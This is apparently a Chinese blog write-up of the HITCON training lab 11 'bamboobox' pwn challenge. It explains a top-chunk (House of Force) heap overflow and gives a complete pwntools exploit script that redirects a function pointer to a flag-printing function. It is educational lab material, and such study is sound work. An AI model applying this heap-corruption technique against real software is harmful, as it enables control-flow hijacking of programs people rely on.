盒子
盒子
文章目录
  1. 前言 :
  2. 详解 :
    1. 思路 :
  3. EXP :

HITCON training lab 11

前言 :

写几篇关于top chunk利用的题吧,top chunk的利用在堆利用里面算简单的了,就是修改top chunk的size字段,使他在地址上移动到自己所想要的位置上。

详解 :

题目 :hitcon training lab 11

1
2
3
4
5
6
7
➜  bamboobox checksec ./bamboobox 
[*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/bamboobox/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主要就是对盒子里面的物品进行添加和删除,漏洞点在修改物品的时候出现,有任意长度堆溢出的漏洞,这里面因为是一个演示程序,程序中有一个可以直接读取flag的函数,所以我们只要利用这个函数就可以了。

退出程序之前还执行了一个函数:

1
2
3
case 5:
((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
exit(0);

是一个一开始就申请的一个内存,存了一个goodbye的函数。

所以我们直接利用漏洞更改goodbye为magic函数即可。

思路 :

  1. 添加,更改top chunk的size字段为-1,最大size。
  2. 申请内存到堆基址处。
  3. 覆盖goodbye函数。

题目不难,就不细讲了。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r = process('./bamboobox')
context.log_level = 'debug'


def additem(length, name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)


def modify(idx, length, name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)


def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))


def show():
r.recvuntil(":")
r.sendline("1")

additem(0x80,'AAAAAAAA')
payload = 'A'*0x88+p64(0xffffffffffffffff)
modify(0,len(payload),payload)
additem(-0xb8,'BBBBBBBB')
additem(16,p64(0x400D49)*2)

r.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫